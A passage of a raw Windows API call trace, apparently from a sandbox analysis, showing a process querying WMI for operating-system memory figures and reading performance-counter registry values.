[3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x1b203500) returned 0x0 [0283.570] WbemLocator:IRpcOptions:Query (in: This=0x1b203500, pPrx=0x1b203538, dwProperty=2, pdwValue=0x1da9da10 | out: pdwValue=0x1da9da10) returned 0x80004002 [0283.570] WbemLocator:IUnknown:Release (This=0x1b203500) returned 0x3 [0283.570] WbemLocator:IUnknown:Release (This=0x1b203538) returned 0x2 [0283.570] CoGetContextToken (in: pToken=0x1da9e020 | out: pToken=0x1da9e020) returned 0x0 [0283.570] CoGetContextToken (in: pToken=0x1da9df20 | out: pToken=0x1da9df20) returned 0x0 [0283.570] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x1da9e080*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e050 | out: ppvObject=0x1da9e050*=0x1b286080) returned 0x0 [0283.570] IUnknown:AddRef (This=0x1b286080) returned 0x4 [0283.570] IUnknown:Release (This=0x1b286080) returned 0x3 [0283.570] IUnknown:Release (This=0x1b286080) returned 0x2 [0283.570] IUnknown:Release (This=0x1b286860) returned 0x2 [0283.570] SysStringLen (param_1=0x0) returned 0x0 [0283.570] IEnumWbemClassObject:Reset (This=0x1b286080) returned 0x0 [0283.578] CoTaskMemAlloc (cb=0x8) returned 0x1d1c0d20 [0283.578] IEnumWbemClassObject:Next (in: This=0x1b286080, lTimeout=-1, uCount=0x1, apObjects=0x1d1c0d20, puReturned=0x2792940 | out: apObjects=0x1d1c0d20*=0x1b268cb0, puReturned=0x2792940*=0x1) returned 0x0 [0283.589] IUnknown:QueryInterface (in: This=0x1b268cb0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b268cb0) returned 0x0 [0283.589] IUnknown:QueryInterface (in: This=0x1b268cb0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d9a0 | out: ppvObject=0x1da9d9a0*=0x0) returned 0x80004002 [0283.589] IUnknown:QueryInterface (in: This=0x1b268cb0, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0283.589] IUnknown:QueryInterface (in: This=0x1b268cb0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d198 | out: ppvObject=0x1da9d198*=0x0) returned 0x80004002 [0283.589] IUnknown:AddRef (This=0x1b268cb0) returned 0x3 [0283.589] IUnknown:QueryInterface (in: This=0x1b268cb0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0283.589] IUnknown:QueryInterface (in: This=0x1b268cb0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cfe0 | out: ppvObject=0x1da9cfe0*=0x0) returned 0x80004002 [0283.589] IUnknown:QueryInterface (in: This=0x1b268cb0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9cfd0 | out: ppvObject=0x1da9cfd0*=0x1b268cb8) returned 0x0 [0283.589] IMarshal:GetUnmarshalClass (in: This=0x1b268cb8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9cff8 | out: pCid=0x1da9cff8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0283.589] IUnknown:Release (This=0x1b268cb8) returned 0x3 [0283.590] CoGetContextToken (in: pToken=0x1da9d080 | out: pToken=0x1da9d080) returned 0x0 [0283.590] CoGetContextToken (in: pToken=0x1da9d500 | out: pToken=0x1da9d500) returned 0x0 [0283.590] IUnknown:QueryInterface (in: This=0x1b268cb0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0283.590] IUnknown:Release (This=0x1b268cb0) returned 0x2 [0283.590] CoGetContextToken (in: pToken=0x1da9dbc0 | out: pToken=0x1da9dbc0) returned 0x0 [0283.590] CoGetContextToken (in: pToken=0x1da9dac0 | out: pToken=0x1da9dac0) returned 0x0 [0283.590] IUnknown:QueryInterface (in: This=0x1b268cb0, riid=0x1da9dc20*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9dbf0 | out: ppvObject=0x1da9dbf0*=0x1b268cb0) returned 0x0 [0283.590] IUnknown:AddRef (This=0x1b268cb0) returned 0x4 [0283.590] IUnknown:Release (This=0x1b268cb0) returned 0x3 [0283.590] IUnknown:Release (This=0x1b268cb0) returned 0x2 [0283.590] CoTaskMemFree (pv=0x1d1c0d20) [0283.590] CoGetContextToken (in: pToken=0x1da9df90 | out: pToken=0x1da9df90) returned 0x0 [0283.590] IUnknown:AddRef (This=0x1b268cb0) returned 0x3 [0283.590] IWbemClassObject:Get (in: This=0x1b268cb0, wszName="__GENUS", lFlags=0, pVal=0x1da9e550*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e678*=0, plFlavor=0x1da9e670*=0 | out: pVal=0x1da9e550*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1da9e678*=3, plFlavor=0x1da9e670*=64) returned 0x0 [0283.590] IWbemClassObject:Get (in: This=0x1b268cb0, wszName="__PATH", lFlags=0, pVal=0x1da9e500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e630*=0, plFlavor=0x1da9e628*=0 | out: pVal=0x1da9e500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1da9e630*=8, plFlavor=0x1da9e628*=64) returned 0x0 [0283.591] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0283.591] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0283.591] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e578 | out: ppv=0x1da9e578*=0x77dd58) returned 0x0 [0283.591] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e568 | out: pAptType=0x1da9e568*=1) returned 0x0 [0283.591] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e570 | out: ppvObject=0x1da9e570*=0x0) returned 0x80004002 [0283.591] IUnknown:Release (This=0x77dd58) returned 0x1 [0283.593] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9d968 | out: ppv=0x1da9d968*=0x1d218530) returned 0x0 [0283.593] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d218530, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da50 | out: ppvObject=0x1da9da50*=0x0) returned 0x80004002 [0283.593] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d218530, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da28 | out: ppvObject=0x1da9da28*=0x1b294a60) returned 0x0 [0283.593] WbemDefPath:IUnknown:Release (This=0x1d218530) returned 0x0 [0283.593] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d7d0 | out: ppvObject=0x1da9d7d0*=0x1b294a60) returned 0x0 [0283.593] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d860 | out: ppvObject=0x1da9d860*=0x0) returned 0x80004002 [0283.594] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0283.594] WbemDefPath:IUnknown:AddRef (This=0x1b294a60) returned 0x3 [0283.594] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9cf18 | out: ppvObject=0x1da9cf18*=0x0) returned 0x80004002 [0283.594] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cea0 | out: ppvObject=0x1da9cea0*=0x0) returned 0x80004002 [0283.594] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ce90 | out: ppvObject=0x1da9ce90*=0x1d218610) returned 0x0 [0283.594] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d218610, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9ceb8 | out: pCid=0x1da9ceb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0283.594] WbemDefPath:IUnknown:Release (This=0x1d218610) returned 0x3 [0283.594] CoGetContextToken (in: pToken=0x1da9cf40 | out: pToken=0x1da9cf40) returned 0x0 [0283.594] CoGetContextToken (in: pToken=0x1da9d3c0 | out: pToken=0x1da9d3c0) returned 0x0 [0283.594] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d480 | out: ppvObject=0x1da9d480*=0x0) returned 0x80004002 [0283.594] WbemDefPath:IUnknown:Release (This=0x1b294a60) returned 0x2 [0283.594] WbemDefPath:IUnknown:Release (This=0x1b294a60) returned 0x1 [0283.594] CoGetContextToken (in: pToken=0x1da9e1b0 | out: pToken=0x1da9e1b0) returned 0x0 [0283.594] CoGetContextToken (in: pToken=0x1da9e0b0 | out: pToken=0x1da9e0b0) returned 0x0 [0283.594] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x1da9e210*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1da9e1e0 | out: ppvObject=0x1da9e1e0*=0x1b294a60) returned 0x0 [0283.594] WbemDefPath:IUnknown:AddRef (This=0x1b294a60) returned 0x3 [0283.594] WbemDefPath:IUnknown:Release (This=0x1b294a60) returned 0x2 [0283.594] WbemDefPath:IWbemPath:SetText (This=0x1b294a60, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0283.595] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e598 | out: puCount=0x1da9e598*=0x2) returned 0x0 [0283.595] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e590*=0xf, pszText=0x0) returned 0x0 [0283.595] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0283.595] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0283.595] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0283.595] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0283.595] IWbemClassObject:Get (in: This=0x1b268cb0, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2793708*=0, plFlavor=0x279370c*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x2793708*=21, plFlavor=0x279370c*=0) returned 0x0 [0283.595] SysStringByteLen (bstr="1359840") returned 0xe [0283.595] SysStringByteLen (bstr="1359840") returned 0xe [0283.595] IWbemClassObject:Get (in: This=0x1b268cb0, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2793708*=21, plFlavor=0x279370c*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x2793708*=21, plFlavor=0x279370c*=0) returned 0x0 [0283.595] SysStringByteLen (bstr="1359840") returned 0xe [0283.595] SysStringByteLen (bstr="1359840") returned 0xe [0283.596] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0283.596] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0283.596] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0283.596] IWbemClassObject:Get (in: This=0x1b268cb0, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2793900*=0, plFlavor=0x2793904*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2793900*=21, plFlavor=0x2793904*=0) returned 0x0 [0283.596] SysStringByteLen (bstr="2096620") returned 0xe [0283.596] SysStringByteLen (bstr="2096620") returned 0xe [0283.596] IWbemClassObject:Get (in: This=0x1b268cb0, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2793900*=21, plFlavor=0x2793904*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2793900*=21, plFlavor=0x2793904*=0) returned 0x0 [0283.596] SysStringByteLen (bstr="2096620") returned 0xe [0283.596] SysStringByteLen (bstr="2096620") returned 0xe [0283.596] CoGetContextToken (in: pToken=0x1da9e370 | out: pToken=0x1da9e370) returned 0x0 [0283.596] WbemLocator:IUnknown:Release (This=0x1b203538) returned 0x1 [0283.596] IUnknown:Release (This=0x1b286080) returned 0x0 [0285.619] GetTickCount64 () returned 0x1ac3f5c [0285.621] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0285.623] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x284fb90, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x284fb90*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0285.626] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0285.627] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x2860fa8, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x2860fa8*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0285.631] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e6f8 | out: puCount=0x1da9e6f8*=0x2) returned 0x0 [0285.631] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e6f0*=0xf, pszText=0x0) returned 0x0 [0285.632] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e6f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0285.632] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e678 | out: ppv=0x1da9e678*=0x77dd58) returned 0x0 [0285.632] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e668 | out: pAptType=0x1da9e668*=1) returned 0x0 [0285.632] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e670 | out: ppvObject=0x1da9e670*=0x0) returned 0x80004002 [0285.633] IUnknown:Release (This=0x77dd58) returned 0x1 [0285.633] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9dd38 | out: ppv=0x1da9dd38*=0x1d218150) returned 0x0 [0285.634] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218150, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9de20 | out: ppvObject=0x1da9de20*=0x0) returned 0x80004002 [0285.634] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d218150, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ddf8 | out: ppvObject=0x1da9ddf8*=0x1d218190) returned 0x0 [0285.635] WbemLocator:IUnknown:Release (This=0x1d218150) returned 0x0 [0285.635] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218190, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dba0 | out: ppvObject=0x1da9dba0*=0x1d218190) returned 0x0 [0285.635] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218190, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dc30 | out: ppvObject=0x1da9dc30*=0x0) returned 0x80004002 [0285.635] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218190, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d428 | out: ppvObject=0x1da9d428*=0x0) returned 0x80004002 [0285.635] WbemLocator:IUnknown:AddRef (This=0x1d218190) returned 0x3 [0285.635] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218190, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d2e8 | out: ppvObject=0x1da9d2e8*=0x0) returned 0x80004002 [0285.635] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218190, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d270 | out: ppvObject=0x1da9d270*=0x0) returned 0x80004002 [0285.635] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218190, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d260 | out: ppvObject=0x1da9d260*=0x0) returned 0x80004002 [0285.635] CoGetContextToken (in: pToken=0x1da9d310 | out: pToken=0x1da9d310) returned 0x0 [0285.635] CoGetContextToken (in: pToken=0x1da9d790 | out: pToken=0x1da9d790) returned 0x0 [0285.635] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218190, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d850 | out: ppvObject=0x1da9d850*=0x0) returned 0x80004002 [0285.635] WbemLocator:IUnknown:Release (This=0x1d218190) returned 0x2 [0285.635] WbemLocator:IUnknown:Release (This=0x1d218190) returned 0x1 [0285.635] CoGetContextToken (in: pToken=0x1da9e1d0 | out: pToken=0x1da9e1d0) returned 0x0 [0285.635] CoGetContextToken (in: pToken=0x1da9e0d0 | out: pToken=0x1da9e0d0) returned 0x0 [0285.635] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218190, riid=0x1da9e230*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9e200 | out: ppvObject=0x1da9e200*=0x1d218190) returned 0x0 [0285.636] WbemLocator:IUnknown:AddRef (This=0x1d218190) returned 0x3 [0285.636] WbemLocator:IUnknown:Release (This=0x1d218190) returned 0x2 [0285.636] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e608 | out: puCount=0x1da9e608*=0x2) returned 0x0 [0285.636] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e600*=0xf, pszText=0x0) returned 0x0 [0285.636] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e600*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0285.636] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, 